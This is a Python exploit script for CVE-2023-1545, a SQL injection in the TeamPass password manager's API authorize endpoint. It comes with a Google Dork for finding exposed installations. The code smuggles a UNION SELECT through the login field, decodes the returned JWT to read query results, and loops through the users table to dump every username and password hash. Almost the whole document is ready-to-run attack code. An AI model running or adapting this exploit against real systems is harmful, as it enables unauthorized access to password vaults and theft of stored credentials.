# Exploit Title: TeamPass SQL Injection
# Google Dork: intitle:"Teampass" + inurl:index.php?page=items
# Date: 02/23/2025
# Exploit Author: Max Meyer - Rivendell
# Vendor Homepage: http://www.teampass.net
# Software Link: https://github.com/nilsteampassnet/TeamPass
# Version: 2.1.24 and prior
# Tested on: Windows/Linux
# CVE : CVE-2023-1545
#!/usr/bin/env python3
import sys
import json
import base64
import logging
import requests
from typing import Optional, Dict, Any
from dataclasses import dataclass
# Configuração de logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
@dataclass
class TeamPassExploit:
base_url: str
arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
def __post_init__(self):
self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"
def check_api_enabled(self) -> bool:
"""Verifica se a API está habilitada."""
try:
response = requests.get(self.vulnerable_url)
if "API usage is not allowed" in response.text:
logger.error("API feature is not enabled")
return False
return True
except requests.RequestException as e:
logger.error(f"Erro ao verificar API: {e}")
return False
def execute_sql(self, sql_query: str) -> Optional[str]:
"""Executa uma query SQL através da vulnerabilidade."""
try:
inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
"personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
"FROM teampass_users WHERE login='admin"
data = {
"login": inject,
"password": "h4ck3d",
"apikey": "foo"
}
response = requests.post(
self.vulnerable_url,
headers={"Content-Type": "application/json"},
json=data
)
if not response.ok:
logger.error(f"Erro na requisição: {response.status_code}")
return None
token = response.json().get('token')
if not token:
logger.error("Token não encontrado na resposta")
return None
# Decodifica o token JWT
token_parts = token.split('.')
if len(token_parts) < 2:
logger.error("Token JWT inválido")
return None
payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
return json.loads(payload).get('public_key')
except Exception as e:
logger.error(f"Erro ao executar SQL: {e}")
return None
def get_user_credentials(self) -> Optional[Dict[str, str]]:
"""Obtém credenciais de todos os usuários."""
try:
# Obtém número total de usuários
user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
if not user_count or not user_count.isdigit():
logger.error("Não foi possível obter o número de usuários")
return None
user_count = int(user_count)
logger.info(f"Encontrados {user_count} usuários no sistema")
credentials = {}
for i in range(user_count):
username = self.execute_sql(
f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
)
password = self.execute_sql(
f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
)
if username and password:
credentials[username] = password
logger.info(f"Credenciais obtidas para: {username}")
return credentials
except Exception as e:
logger.error(f"Erro ao obter credenciais: {e}")
return None
def main():
if len(sys.argv) < 2:
logger.error("Usage: python3 script.py <base-url>")
sys.exit(1)
exploit = TeamPassExploit(sys.argv[1])
if not exploit.check_api_enabled():
sys.exit(1)
credentials = exploit.get_user_credentials()
if credentials:
print("\nCredenciais encontradas:")
for username, password in credentials.items():
print(f"{username}: {password}")
if __name__ == "__main__":
main()